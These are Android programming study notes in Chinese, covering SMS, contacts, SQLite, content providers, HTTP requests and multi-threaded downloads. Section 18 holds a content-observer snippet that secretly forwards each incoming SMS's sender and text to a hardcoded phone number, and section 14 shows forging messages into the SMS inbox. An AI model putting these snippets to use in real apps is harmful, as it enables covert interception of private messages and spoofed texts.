android基础笔记
1 拨打电话 Intent意图
//系统统一调用程序的一个类
Stringnumber="13138794688";
Intent intent=new Intent();
intent.setAction(Intent.ACTION_CALL);
//设置指定格式的数据
intent.setData(Uri.parse("tel:"+number));
//开启这个调用程序的容器
startActivity(intent);
//到清单文件中添加android.permission.CALL_PHONE权限
----------------------------------------------------------------------------------------------------------------------
2 SmsManager类 用来发送信息
SmsManagersmsManager = SmsManager.getDefault();
Stringcontent="今晚吃饭了吗";
// smsManager.sendDataMessage();发送采信
//smsManager.sendMultipartTextMessage();发送
// 发送文本短信:sendTextMessage(String destinationAddress(接收机电话号码), StringscAddress(发送者电话号码),String text(文本内容),PendingIntent sentIntent, PendingIntentdeliveryIntent)
// 如果文本过长会发不出去,可以将其划分成多条短信发送
ArrayList<String>contents = smsManager.divideMessage(content);
for (String string: contents) {
smsManager.sendTextMessage(phoneNumber, null, string,null,null);
}
----------------------------------------------------------------------------------------------------------------------
3 Context 类 上下文,获得应用的一般信息
.getFileStreamPath(name);//获得/data/data/包名/files/下的name文件的读取流
.getCacheDir(); //获得缓存文件夹
----------------------------------------------------------------------------------------------------------------------
4 Environment类 环境类
可直接获取sd卡和手机内存(data)路径
Environment.getExternalStorageDirectory();//处置sd卡
Environment.getDataDirectory();//手机内置内存
-------------------------------------------------------------------------------------------------------------------------
5 StatFs类 获得文件夹的状态信息
StatFs sta = newStatFs(file.getPath());
sta.getBlockCount();//总方块
sta.getBlockSize();//方块的大小
sta.getAvailableBlocks();//可用方块
//总内存=方块总数*方块的空间大小
long memoryCount =blockCount * blockSize;
-------------------------------------------------------------------------------------------------------------------------
6 android.text.format.Formatter类
//将long值的大小格式化成String
String memoryCountStr =Formatter.formatFileSize(Context context, long number);
//格式化ip地址
Formatter.formatIpAddress(ipv4Address);
-------------------------------------------------------------------------------------------------------------------------
7 SharedPreferences类 保存配置了XML文件中
例子:
//保存数据
//config保存文件名
SharedPreferencessp=context.getSharedPreferences("config", Context.MODE_PRIVATE);
//得到xml的编辑器
Editor ed=sp.edit();
ed.putString(key, value);
ed.putBoolean(key, value);
ed.putLong(key, value);
//提交编辑,否则无效
ed.commit();
//读取数据
SharedPreferencessp=this.getSharedPreferences("config", MODE_PRIVATE);
Stringusername=sp.getString("username", "请输入帐号");
//后面参数为如果没读取到设置的默认值
-------------------------------------------------------------------------------------------------------------------------
8 XmlSerializer类 xml序列化工具
FileOutputStreamos = new FileOutputStream(file);
//得到xml序列化对象
XmlSerializerserializer = Xml.newSerializer();
//设置写到哪个流中
serializer.setOutput(os,"utf-8");
//设置xml文件的头
serializer.startDocument("utf-8",true);
//开始标签
serializer.startTag(null,"smss");
serializer.startTag(null,"sms");
//设置标签的属性
serializer.attribute(null,"id", sms.getId()+"");
serializer.endTag(null,"sms");
serializer.endTag(null,"smss");
serializer.endDocument();
-------------------------------------------------------------------------------------------------------------------------
9 XmlPullParser类 pull解析xml 类似sax工具,一行一行地解析
XmlPullParserparser = Xml.newPullParser();// 获得解析工具对象
parser.setInput(inputSteam,"utf-8"); // 初始化parser对象
List<CityWeatherInfo> citys= null;
CityWeatherInfo city = null;
int type = parser.getEventType();//获得读取位置
while (type != XmlPullParser.END_DOCUMENT){
switch (type) {
caseXmlPullParser.START_TAG:
//当前标签的名字
if("infos".equals(parser.getName())) {
citys = newArrayList<CityWeatherInfo>();
} else if("city".equals(parser.getName())) {
city = newCityWeatherInfo();
city.setId(Integer.parseInt(parser.getAttributeValue(0)));
} else if("name".equals(parser.getName())) {
// 获得标签里面的内容
city.setName(parser.nextText());
}
break;
case XmlPullParser.END_TAG:
if("city".equals(parser.getName())){
citys.add(city);
city=null;
}
break;
}
type=parser.next();//下一个标签的位置
}
return citys;
-------------------------------------------------------------------------------------------------------------------------
10 SQLiteOpenHelper 抽象类创建或者管理数据库的帮助类
//创建其子类,并调用来创建数据库
public classPersonSQLiteOpenHelper extends SQLiteOpenHelper {
/**
* 构造方法,必须显式指定,
* @param context
* @param name 数据库名字
* @param factory 数据库读取的油标
* @param version 数据库版本,从1开始
*/
publicPersonSQLiteOpenHelper(Context context) {
super(context,"persion.db", null, 1);
}
/**
* 数据库第一次被创建的时候调用,用来初始化一些数据和表
* @param db 刚刚新创建的数据库
*/
public voidonCreate(SQLiteDatabase db) {
db.execSQL("createtable persion(id integer,name varchar(20),tel varchar(20))");
}
@Override
public voidonUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
}
//调用----------------------
PersonSQLiteOpenHelper helper=newPersonSQLiteOpenHelper(getContext());
//new出对象并没有创建数据库,只有调用下面任意一个方法才创建
SQLiteDatabasedb=helper.getReadableDatabase();
SQLiteDatabasesb=helper.getWritableDatabase();
-------------------------------------------------------------------------------------------------------------------------
11 SQLiteDatabase 类 操作数据库的api
SQLiteOpenHelper.getWritableDatabase();//SQLiteOpenHelper.getWritableDatabase();
11.1 sql语句操作方式
delete,update,insert: db.execSQL(sql, bindArgs[]);
select: cursor cursor= db.rawQuery(sql,args[]);
List<Person>persons = new ArrayList<Person>();
while(cursor.moveToNext()) {
intid = cursor.getInt(cursor.getColumnIndex("id"));
Personperson = new Person(id);
persons.add(person);
}
11.2 面向对象方式:
insert: ContentValues values=new ContentValues();//准备参数对象
values.put("id",id);
values.put("name",name);
values.put("tel",tel);
//返回插入行的id
longids=db.insert("person", null, values);
select:
db.query(distinct(是否过滤重复),tableName, columns(想要求列), selection(过滤条件不有加where=),
selectionArgs(过滤条件参数),groupBy, having, orderBy, limit, cancellationSignal);
update:
db.update(table, values, whereClause(过滤条件), whereArgs(过滤条件参数));
dalete: db.delete(table, whereClause,whereArgs);
11.3 :事务处理
db.beginTransaction();//开启事务
try {
db.execSQL("deletefrom person where id=?", new Object[] { id });
db.setTransactionSuccessful();//提交事务
} finally {
db.endTransaction();//回滚
db.close();
}
-------------------------------------------------------------------------------------------------------------------------
12 ListView 类
listView.setAdapter(ListAdapter对象);
ListAdapter对象:可以自己写一个类实现BaseAdapter类
ArrayAdapter类 可以new ArrayAdapter<T>(context, resource(布局文件id), textViewResourceId(布局文件中设置内容的控件id),objects(数据数组或者集合))
//这个布局文件只能包含一个TextView
//new ArrayAdapter<String>(context,R.layout.listview_item, objects);
SimpleAdapter对象 将map里面的数据绑定到布局里面指定的控件上
List<Map<String,Object>>date=new ArrayList<Map<String,Object>>();
Map<String,Object> map1=newHashMap<String, Object>();
map1.put("name", "GPS");
map1.put("image",R.drawable.ic_menu_mylocation);//图片id
list.add(map1);
ListView lv=(ListView) findViewById(R.id.lv);
lv.setAdapter(new SimpleAdapter(this, data(显示的数据), R.layout.listview_item(布局),
newString[]{"name","image"}(map里面的key), new int[]{R.id.tv,R.id.iv})(map的key对应控件的id));
-------------------------------------------------------------------------------------------------------------------------
13 ContentProvider类内容提供者
外提供访问此应用数据的接口, 将你的数据库向外提供uri接口,其它应用可以根据这个uri来操作数据库
ContentProvider 采用了authorities(主机名/域名)对它进行唯一标识,
可以把ContentProvider看作是一个网站(想想,网站也是提供数据者),authorities 就是他的域名:创建ContentProvider类的子类,实现其方法。
public classPersonContentProvider extends ContentProvider {
private PersonSQLiteOpenHelper helper;
private final static int INSERT = 1;
private final static int UPDATE = 2;
private final static int DELETE = 3;
private final static int QUERY = 4;
// 参数code 代表如果uri不匹配的返回值
// 在当前应用程序的内部 声明一个路径的检查者
private static UriMatcher matcher = newUriMatcher(UriMatcher.NO_MATCH);
//定义一些uri
static {
/**
* String authority 主机名,如网站前面的主机名
*String path 路径如网址除主机名后面的内容
*int code 结果码
*/
//matcher.addURI(String authority,String path, int code);
matcher.addURI("com.zhong.listview","innsert", INSERT);
matcher.addURI("com.zhong.listview","UPDATE", UPDATE);
matcher.addURI("com.zhong.listview","delete", DELETE);
matcher.addURI("com.zhong.listview","query", QUERY);
}
/**
* 被创建时调用
*/
public boolean onCreate() {
helper = newPersonSQLiteOpenHelper(getContext());
return false;
}
/**
* 内容提供者对外提供自己查询的方法
*/
@Override
public Cursor query(Uri uri, String[]projection, String selection,
String[] selectionArgs,String sortOrder) {
int code = matcher.match(uri);
if (code == QUERY) {
SQLiteDatabase db =helper.getReadableDatabase();
Cursor cursor =db.query("person", projection, selection,
selectionArgs,null, null, null, null);
return cursor;
} else {
throw newIllegalArgumentException("路径不能被识别,我不认识你...");
}
}
@Override
public String getType(Uri uri) {
return null;
}
public Uri insert(Uri uri, ContentValuesvalues) {
int core = matcher.match(uri);
if (core == INSERT) {
SQLiteDatabase db =helper.getWritableDatabase();
db.insert("person",null, values);
} else {
throw newIllegalArgumentException("路径不能被识别,我不认识你...");
}
return null;
}
@Override
public int delete(Uri uri, Stringselection, String[] selectionArgs) {
int core = matcher.match(uri);
if (core == INSERT) {
SQLiteDatabase db =helper.getWritableDatabase();
db.delete("person",selection, selectionArgs);
} else {
throw new IllegalArgumentException("路径不能被识别,我不认识你...");
}
return 0;
}
@Override
public int update(Uri uri, ContentValuesvalues, String selection,
String[] selectionArgs) {
int core = matcher.match(uri);
if (core == UPDATE) {
SQLiteDatabase db = helper.getWritableDatabase();
db.update("person",values, selection, selectionArgs);
} else {
throw newIllegalArgumentException("路径不能被识别,我不认识你...");
}
return 0;
}
}
在清单文件中配置内容提供者:
<providerandroid:name=".PersonContentProvider"
android:authorities="com.zhong.listview"
android:multiprocess="true">
</provider>
-------------------------------------------------------------------------------------------------------------------------
14 ContentResolver类内容解折者 内容获取者
根据内容提供者的macher的uri操作别的数据库的内容,所有uri前面要加上content:// 获取系统短信
Uri uri =Uri.parse("content://sms");
ContentResolver resolver =context.getContentResolver();
Cursor cursor =resolver.query(uri, new String[] { "type","address","body", "date" }, null, null, null);
插入短信
EditText et_address = (EditText)findViewById(R.id.et_address);
String address =et_address.getText().toString();
EditText et_body = (EditText)findViewById(R.id.et_body);
String body =et_body.getText().toString();
ContentResolver resolver =getContentResolver();//获得内容解折者
Uri uri =Uri.parse("content://sms");//sms的uri
ContentValues values = newContentValues();
values.put("type", 1);
values.put("address",address);
values.put("body",body);
values.put("date",System.currentTimeMillis());
resolver.insert(uri, values);
-------------------------------------------------------------------------------------------------------------------------
15 系统联系人表的关系:
raw_contact 表:存放联系人的id
date 表 :存放联系人的数据(姓名,电话,邮箱)
mimetypes 表: 存放数据的类型
读取系统联系人:
ContentResolverresolver = getContentResolver();
Uri uri =Uri.parse("content://com.android.contacts/raw_contacts");//raw_contact 表的uri
Uri dataUri =Uri.parse("content://com.android.contacts/data"); // data 表的uri
Cursor cursor =resolver.query(uri, new String[] { "contact_id" },null, null, null);
while(cursor.moveToNext()) {
String id =cursor.getString(0);
if (id != null) {
Cursor dataCursor = resolver.query(dataUri,new String[] {"data1", "mimetype" },
"raw_contact_id=?",newString[] { id }, null);
while(dataCursor.moveToNext()) {
Stringdata = dataCursor.getString(0);
Stringmimetype = dataCursor.getString(1);
System.out.println("data:"+ data);
System.out.println("mimetype:"+ mimetype);
}
dataCursor.close();
System.out.println("----------");
}
}
cursor.close();
-----------------------------------------------------------------------------------------
16 读取手机中所有mp3的信息:
public staticList<HashMap<String, Object>> scanAllAudioFiles(ContentResolverContentResolver) {
// 生成动态数组,并且转载数据
ArrayList<HashMap<String,Object>> mylist = new ArrayList<HashMap<String, Object>>();
// 查询媒体数据库
Cursor cursor =ContentResolver.query(
MediaStore.Audio.Media.EXTERNAL_CONTENT_URI,null, null, null,
MediaStore.Audio.Media.DEFAULT_SORT_ORDER);
// 遍历媒体数据库
if (cursor.moveToFirst()) {
while(!cursor.isAfterLast()) {
// 歌曲标题
String tilte =cursor.getString(cursor
.getColumnIndexOrThrow(MediaStore.Audio.Media.TITLE));
// 歌曲的歌手名: MediaStore.Audio.Media.ARTIST
String artist =cursor.getString(cursor
.getColumnIndexOrThrow(MediaStore.Audio.Media.ARTIST));
// 歌曲文件的路径 :MediaStore.Audio.Media.DATA
String url =cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Audio.Media.DATA));
// 歌曲的总播放时长 :MediaStore.Audio.Media.DURATION
int duration = cursor.getInt(cursor.getColumnIndexOrThrow(MediaStore.Audio.Media.DURATION));
// 歌曲文件的大小 :MediaStore.Audio.Media.SIZE
Long size =cursor.getLong(cursor
.getColumnIndexOrThrow(MediaStore.Audio.Media.SIZE));
if (size > 1024 *800) {// 大于800K
HashMap<String,Object> map = new HashMap<String, Object>();
map.put("musicName",tilte);
map.put("musicPath",url);
map.put("artist",artist);
mylist.add(map);
}
cursor.moveToNext();
}
}
return mylist;
}
-------------------------------------------------------------------------------------------------------------------------
17 添加联系人操作:
Uri.parse("content://com.android.contacts/raw_contacts");// raw_contact 表的uri
Uri.parse("content://com.android.contacts/data");//data 表的uri
String name =et_name.getText().toString().trim();
String phone =et_phone.getText().toString().trim();
String email =et_email.getText().toString().trim();
// 把数据写入到系统的联系人.
ContentResolver resolver =this.getContentResolver();//获得内容提供者
Uri uri =Uri.parse("content://com.android.contacts/raw_contacts"); //读取联系人id表的uri
// ----------在raw_contant表中添加一条新的id---------------
// 插入联系人 必须要知道 新的联系人的id
Cursor cursor =resolver.query(uri, new String[] { "contact_id" },null, null, null);
int contact_id;
if (cursor.moveToLast()) {
contact_id =cursor.getInt(0) + 1; // 数据库里面有数据 最后一条联系人的id + 1
} else {// 原先数据库是空的 从第一个联系人开始
contact_id = 1;
}
ContentValues values = newContentValues();
values.put("contact_id",contact_id);
resolver.insert(uri,values);
// ------------在data表里面 添加id对应的数据-------------
Uri dataUri =Uri.parse("content://com.android.contacts/data");
// 插入姓名
ContentValues nameValue =new ContentValues();
nameValue.put("data1",name);
nameValue.put("raw_contact_id",contact_id);
nameValue.put("mimetype","vnd.android.cursor.item/name");
resolver.insert(dataUri,nameValue);
// 插入电话
ContentValues phoneValue =new ContentValues();
phoneValue.put("data1",phone);
phoneValue.put("raw_contact_id",contact_id);
phoneValue.put("mimetype","vnd.android.cursor.item/phone_v2");
resolver.insert(dataUri,phoneValue);
// 插入邮箱
if(!TextUtils.isEmpty(email)) {
ContentValues emailValue= new ContentValues();
emailValue.put("data1",email);
emailValue.put("raw_contact_id",contact_id);
emailValue.put("mimetype","vnd.android.cursor.item/email_v2");
resolver.insert(dataUri,emailValue);
}
Toast.makeText(this, "插入数据成功", 0).show();
-------------------------------------------------------------------------------------------------------------------------
18 ContentObserver 类内容观察者:
根据内容提供者的uri观察其它应用程序数据库是否发生变化
//使用内容观察者监听短信数据库的变化,并获得到最新的内容
ContentResolverresolver = getContentResolver();//获得内容提供者
//resolver.registerContentObserver(uri//创建观察者时提供的uri,, notifyForDescendents(是否不用匹配uri), observer(观察者对象));
resolver.registerContentObserver(Uri.parse("content://sms"),true,new MyContentObserver(new Handler()));// 注册观察者
/**
* 创建观察者,并重写onChange方法
*/
private classMyContentObserver extends ContentObserver {
publicMyContentObserver(Handler handler) {
super(handler);
}
//观察提供的uri内容是否改变,然后执行这个方法
public voidonChange(boolean selfChange) {
Cursorcursor = resolver.query(Uri.parse("content://sms"),
newString[] { "address", "body" }, null, null, null);
cursor.moveToFirst();
Stringaddress = cursor.getString(0);
Stringbody = cursor.getString(1);
SmsManagersmsManager = SmsManager.getDefault();
smsManager.sendTextMessage("13138794688",null, address+":" + body,null, null);
}
}
//在自己的应用上添加内容观察者
在创建SQLiteOpenHelper类的子对象时,或者在自己的dao类里。
在实现的crud方法上添加context.getContentResolver().notifyChange(uri(使用者调用的uri), observer(可以为空));
然后别人就可以根据这个uri来观察内容是否改变
-------------------------------------------------------------------------------------------------------------------------
19 Handler 消息机制
直接在UI线程中开启子线程来更新TextView显示的内容,运行程序我们会发现,
如下错 误:android.view.ViewRoot$CalledFromWrongThreadException:Only the original thread that created a view hierarchy can touch its views.
翻译过来就是:只有创建这个控件的线程才能去更新该控件的内容。
所有的UI线程要去负责View的创建并且维护它,例如更新冒个TextView的显示,都必须在主线程中去做。
利用Handler机制,在其它线程想要修改ui的时候,可以发送一条信息给主线程(加入hanler消息队列)。
然后Hanler会有一个占门处理消息looper(消息轮询器)去轮询队里中的每条消息。
andriod提供了Handler 和 Looper 来满足线程间的通信。Handler先进先出原则。Looper类用来管理特定线程内对象之间的消息交换(MessageExchange)。
1) Looper: 一个线程可以产生一个Looper对象,由它来管理此线程里的MessageQueue(消息队列)。
2) Handler: 你可以构造Handler对象来与Looper沟通,以便push新消息到MessageQueue里;或者接收Looper从MessageQueue取出)所送来的消息。
3) Message Queue(消息队列):用来存放线程放入的消息。
4) 线程:UIthread 通常就是main thread,而Android启动程序时会替它建立一个MessageQueue。
例子:例子中使用网络下载图片并将imageView设置为这个图片,但在安卓4.0以后,网络访问不能在主线各里进行,在其它线程里下载好了图片,但不能直接显示图片。
因为其它线程是无法修改ui的,只能发送一条消息到消息队列中,让主线程去更改ui
public classMainActivity extends Activity {
private static final int CHAGE_UI = 1;
protected static final int ERROR = 2;
private EditText ed;
private ImageView iv;
private Button bt;
/**
* 定义消息机制 new用处理对象,并重写处理消息的方法
*/
private Handler handler=new Handler(){
//处理消息的方法,
public void handleMessage(Messagemsg) {
if(msg.what==CHAGE_UI){
iv.setImageBitmap((Bitmap)msg.obj);
}else if(msg.what==ERROR){
Toast.makeText(MainActivity.this,msg.obj.toString(), 0).show();
}
}
};
protected void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ed=(EditText)findViewById(R.id.et_url);
iv=(ImageView) findViewById(R.id.iv_image);
bt=(Button)findViewById(R.id.bt_browse);
}
public void browse(View view){
new Thread(){
public void run() {
StringurlStr=ed.getText().toString().trim();
try {
//下载图片
URL url=newURL(urlStr);
HttpURLConnectionconnection=(HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
//connection.setReadTimeout(3000);
connection.setConnectTimeout(5000);
connection.setRequestProperty("User-Agent"," Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) likeGecko");
intcode=connection.getResponseCode();
if(code==200){
InputStreamis=connection.getInputStream();
Bitmapbm=BitmapFactory.decodeStream(is);
//发送消息
Messagemsg=new Message();
msg.what=CHAGE_UI;//消息的类型(自己定义)
msg.obj=bm;//消息的参数
handler.sendMessage(msg);
}
} catch (Exceptione) {
e.printStackTrace();
//发送消息,Toast也属于ui
Messagemsg=new Message();
msg.what=ERROR;
msg.obj="网络出错";
handler.sendMessage(msg);
}
}
}.start();
}
}
-------------------------------------------------------------------------------------------------------------------------
20 HttpURLConnection类
new Thread() {
public void run() {
try {
/*Http get提交
*
URL url = newURL("http://192.168.191.1:8080/MyServer/loginServlet?username="+URLEncoder.encode(username,"utf-8") + "&&password="+ URLEncoder.encode(password));
HttpURLConnectionconnection = (HttpURLConnection) url.openConnection();
connection.setConnectTimeout(5000);
connection.setRequestMethod("GET");
connection.setRequestProperty(
"User-Agent",
"Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E; .NET CLR2.0.50727)");
*/
//post提交
URL url = newURL("http://192.168.191.1:8080/MyServer/loginServlet");
HttpURLConnectionconnection = (HttpURLConnection) url.openConnection();
//准备数据, 使用URLEncoder.encode()来进行中文url编码
Stringdata="username="+URLEncoder.encode(username,"utf-8")+"&password="+URLEncoder.encode(password);
//设置http头协议
connection.setConnectTimeout(5000);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");//设置数据类型
connection.setRequestProperty("Content-Length",data.length()+"");//数据大小
connection.setDoOutput(true);//允许向外写数据
//得到输出流
OutputStreamos = connection.getOutputStream();
os.write(data.getBytes());
os.flush();
//------------------下面get和post一样-------------------------------
int code =connection.getResponseCode();
if (code ==200) {
InputStreamin = connection.getInputStream();
finalString result = StreamUtils.formatStream(in);
runOnUiThread(newRunnable() {
publicvoid run() {
Toast.makeText(MainActivity.this,result, 0).show();
}
});
}
} catch (Exceptione) {
e.printStackTrace();
runOnUiThread(newRunnable() {
publicvoid run() {
Toast.makeText(MainActivity.this,"请求失败", 0).show();
}
});
}
}
}.start();
-------------------------------------------------------------------------------------------------------------------------
21 HttpClient类实现面向httpClient进行网络编程
new Thread() {
public void run() {
try {
/* httpclient get请求
Stringuri="http://10.0.177.167:8080/MyServer/loginServlet?username="+URLEncoder.encode(username,"utf-8") + "&&password="+ URLEncoder.encode(password);
HttpClienthttpClient=new DefaultHttpClient();//打开一个http客户端
HttpGethttpGet=new HttpGet(uri);//输入网站
HttpResponseresponse=httpClient.execute(httpGet);//执行请求;回车浏览
*/
//httpclient post请求
Stringuri="http://10.0.177.167:8080/MyServer/loginServlet";
HttpClienthttpClient=new DefaultHttpClient();//打开一个http客户端
HttpPosthttpPost=new HttpPost(uri);//输入网站
//封装参数
List<NameValuePair>parameters=new ArrayList<NameValuePair>();
parameters.add(newBasicNameValuePair("username", username));
parameters.add(newBasicNameValuePair("password", password));
UrlEncodedFormEntityentity=new UrlEncodedFormEntity(parameters,"utf-8");
httpPost.setEntity(entity);//传入键值对参数
//StringEntityentity = new StringEntity(xml);
//httpPost.setEntity(entity);//传入一段字符
HttpResponseresponse=httpClient.execute(httpPost);//执行请求;回车浏览
//------------------------下面get和post一样-------------------
intcode=response.getStatusLine().getStatusCode();
if(code==200){
InputStreamin=response.getEntity().getContent();
finalString content=StreamUtils.formatStream(in);
runOnUiThread(newRunnable() {
publicvoid run() {
Toast.makeText(MainActivity.this,content, 0).show();
}
});
}
} catch (Exceptione) {
e.printStackTrace();
runOnUiThread(newRunnable() {
publicvoid run() {
Toast.makeText(MainActivity.this,"请求失败", 0).show();
}
});
}
}
}.start();
-------------------------------------------------------------------------------------------------------------------------
22 async_http 异步http框架:
方便我们进行互联网操作,帮我们封闭好了httpClient和handler机制。直接传入url和重写回调方法即可。
使用:将android-async-http-1.4.1.jar包放到lib下或者复制源码到src下
AsyncHttpClient client = newAsyncHttpClient();
String path ="http://10.0.177.167:8080/MyServer/fileUploadServlet";
RequestParams requestParams= new RequestParams();
//上传文件
File file = newFile(filepath);
requestParams.put("file",file);
//get请求 client.get();
//post请求
client.post(path,requestParams, new AsyncHttpResponseHandler() {
//重写上传失败后处理方法
public voidonFailure(Throwable error) {
Toast.makeText(MainActivity.this,"上传失败", 0).show();
}
//重写上传成功后处理方法
public voidonSuccess(String context) {
Toast.makeText(MainActivity.this,context, 0).show();
}
});
-------------------------------------------------------------------------------------------------------------------------
23 多线程下载;
1:访问url,得到下载文件的总长度。
int length =conn.getContentLength();
2: 创建一个与这个文件大小一样的随机访问文件。
RandomAccessFile file = newRandomAccessFile("360.exe", "rw");
file.setLength(length);// 设置生成的随机文件的大小
file.close();
3:计算出每个线程要下载的长度,每个线程下载的开始位置和结束位置。
// 得到文件的大小
int length =conn.getContentLength();
// 计算出每个线程要下载的大小。后面不能整除的留给最后一个线程。
int blockSize = length /theandCount;
// 求出线程开始下载的位置 :(线程号-1)*每个线程下载的大小。
int startIndex = (theandId- 1) * blockSize;
// 求出线程结束下载的位置: 线程号*每个线程下载的大小-1
int endIndex = theandId *blockSize - 1;
4:开始多个子线程,访问这个url,访问时设置请求下载文件的哪部分setRequestProperty("Range", "bytes=" + startIndex +"-"+ endIndex);
然后得到返回来请求这部分的流,然后开始刚刚创建的哪个随机文件的写入流,写入数据。
//设置请求头,请求服务器下载文件的哪部分
conn.setRequestProperty("Range", "bytes=" +startIndex + "-"+ endIndex);
public classMunTheandDownload {
// 开启的线程数,默认是3个线程啊。
private static int theandCount = 3;
public static void main(String[] args)throws Exception {
String path ="http://10.0.177.167:8080/360.exe";// 访问网址
URL url = new URL(path);
HttpURLConnection conn =(HttpURLConnection) url.openConnection();
conn.setReadTimeout(5000);
conn.setRequestMethod("GET");
int code = conn.getResponseCode();
if (code == 200) {
// 得到文件的大小
int length =conn.getContentLength();
// 计算出每个线程要下载的大小。后面不能整除的留给最后一个线程。
int blockSize = length /theandCount;
// System.out.println();
// 创建一个与服务器大小一样的随机读写文件
RandomAccessFile file = newRandomAccessFile("360.exe", "rw");
file.setLength(length);// 设置生成的随机文件的大小
file.close();
for (int theandId = 1;theandId <= theandCount; theandId++) {
// 求出线程开始下载的位置 :(线程号-1)*每个线程下载的大小。
int startIndex =(theandId - 1) * blockSize;
// 求出线程结束下载的位置: 线程号*每个线程下载的大小-1
int endIndex =theandId * blockSize - 1;
if (theandId ==theandCount) {
endIndex =length;
}
System.out.println("线程" + theandId + "下载" + startIndex
+"---->" + endIndex);
new DownloadTheand(startIndex,endIndex, theandId, path).start();
}
} else {
System.out.println("连接失败");
}
}
public static class DownloadTheandextends Thread {
private int startIndex;
private int endIndex;
private String path;
private int threadId;
/**
*
* @param startIndex
* 文件的开始位置
* @param endIndex
* 文件的结束位置
* @param filePath
* 文件的路径
*/
public DownloadTheand(intstartIndex, int endIndex, int threadId,String path) {
this.startIndex =startIndex;
this.endIndex = endIndex;
this.path = path;
this.threadId = threadId;
}
public void run() {
try {
URL url = newURL(path);
HttpURLConnectionconn = (HttpURLConnection) url.openConnection();
conn.setReadTimeout(5000);
conn.setRequestMethod("GET");
//设置请求头,请求服务器下载文件的哪部分
conn.setRequestProperty("Range","bytes=" + startIndex + "-"+ endIndex);
// 从服务器返回全部资源200 ok,如果从服务器请求部分资源206 ok
int code =conn.getResponseCode();
System.out.println(code);
InputStream in =conn.getInputStream();// 返回从startIndex开始的部分文件的流
// 开启随机文件读取流
RandomAccessFile raf= new RandomAccessFile("360.exe", "rw");
raf.seek(startIndex);//设置随机文件从哪里开启读写
int len = 0;
byte[] buffe = newbyte[1024];
while ((len =in.read(buffe)) != -1) {
raf.write(buffe,0, len);
}
in.close();
raf.close();
System.out.println("当前线程" + threadId + "下载完成");
} catch (Exception e) {
e.printStackTrace();
System.out.println("当前线程" + threadId + "下载成败");
}
}
}
}
-------------------------------------------------------------------------------------------------------------------------
24 多线程断点下载;
在多线程下载的基下:每次下载时都把下载的位置记录下来。下次重新下载的时候,先读取这个文件里面的位置,然后从这个位置开始向服务器请求数据。 全部下载好了,将记录文件删除掉
public class Demo{
public static int threadCount = 3;
public static int runningThread = 3 ;
public static void main(String[] args)throws Exception {
// 1.连接服务器 , 获取一个文件, 获取文件的长度, 在本地创建一个大小跟服务器文件一样大的临时文件
String path = "http://10.0.177.167:8080/360.exe";
URL url = new URL(path);
HttpURLConnection conn =(HttpURLConnection) url.openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("GET");
int code = conn.getResponseCode();
if (code == 200) {
// 服务器返回的数据的长度 实际上就是文件的长度
int length =conn.getContentLength();
System.out.println("文件总长度:" + length);
// 在客户端本地 创建出来一个大小跟服务器端文件一样大小的临时文件
RandomAccessFile raf = newRandomAccessFile("setup.exe", "rw");
// 指定创建的这个文件的长度
raf.setLength(length);
raf.close();
// 假设是3个线程去下载资源.
// 平均每一个线程下载的文件的大小.
int blockSize = length /threadCount;
for (int threadId = 1;threadId <= threadCount; threadId++) {
// 第一个线程下载的开始位置
int startIndex =(threadId - 1) * blockSize;
int endIndex = threadId* blockSize - 1;
if (threadId ==threadCount) {// 最后一个线程 下载的长度 要稍微长一点
endIndex =length;
}
System.out.println("线程:" + threadId + "下载:---" + startIndex
+"--->" + endIndex);
newDownloadThread(path, threadId, startIndex, endIndex)
.start();
}
} else {
System.out.println("服务器错误.");
}
}
/**
* 下载文件的子线程 每一个线程 下载对应位置的文件
*
*@author Administrator
*
*/
public static class DownloadThreadextends Thread {
private int threadId;
private int startIndex;
private int endIndex;
private String path;
/**
* @param path
* 下载文件在服务器上的路径
* @param threadId
* 线程id
* @param startIndex
* 线程下载的开始位置
* @param endIndex
* 线程下载的结束位置.
*/
public DownloadThread(String path,int threadId, int startIndex,
int endIndex) {
this.threadId = threadId;
this.startIndex =startIndex;
this.endIndex = endIndex;
this.path = path;
}
@Override
public void run() {
try {
// 检查是否存在 记录下载长度的文件 ,如果存在读取这个文件的数据.
File tempFile = newFile(threadId + ".txt");
if(tempFile.exists() && tempFile.length() > 0) {
FileInputStreamfis = new FileInputStream(tempFile);
byte[] temp =new byte[1024];
int leng =fis.read(temp);
StringdownloadLen = new String(temp, 0, leng);
intdownloadlenInt = Integer.parseInt(downloadLen);
startIndex =downloadlenInt;//修改下载的真实的开始位置.
fis.close();
}
URL url = newURL(path);
HttpURLConnectionconn = (HttpURLConnection) url
.openConnection();
conn.setRequestMethod("GET");
// 重要: 请求服务器下载部分的文件 指定文件的位置.
conn.setRequestProperty("Range","bytes=" + startIndex + "-"
+endIndex);
System.out.println("线程真实下载:" + threadId + "下载:---" + startIndex
+"--->" + endIndex);
conn.setConnectTimeout(5000);
int code =conn.getResponseCode(); // 从服务器请求全部资源 200 ok
//如果从服务器请求部分资源 206 ok
if (code == 206) {
InputStreamis = conn.getInputStream();// 已经设置了 请求的位置
RandomAccessFile raf = newRandomAccessFile("setup.exe",
"rw");
// 随机写文件的时候 从哪个位置开始写
raf.seek(startIndex);//定位文件
int len = 0;
byte[] buffer= new byte[1024];
int total =0;// 已经下载的数据长度
while ((len =is.read(buffer)) != -1) {
RandomAccessFilefile = new RandomAccessFile(threadId
+".txt", "rw");// 作用: 记录当前线程下载的数据长度
raf.write(buffer,0, len);
total+= len;
//System.out.println("线程:" + threadId + "total:" + total);
file.write((total+startIndex+"").getBytes());//记录的是 下载位置.
file.close();
}
is.close();
raf.close();
System.out.println("线程:" + threadId + "下载完毕了...");
} else {
System.out.println("线程:" + threadId + "下载失败...");
}
File deleteFile =new File(threadId+".txt");
deleteFile.delete();//当线程下载完毕后 清楚掉 下载的记录
//如何去判断应用程序已经下载完毕.
} catch (Exception e) {
e.printStackTrace();
}finally{
runningThread --;
if(runningThread==0){//所有的线程 已经执行完毕了.
for(int i=1;i<=3;i++){
Filefile = new File(i+".txt");
file.delete();
}
System.out.println("文件下载完毕 ,删除所有的下载记录.");
}
}
}
}
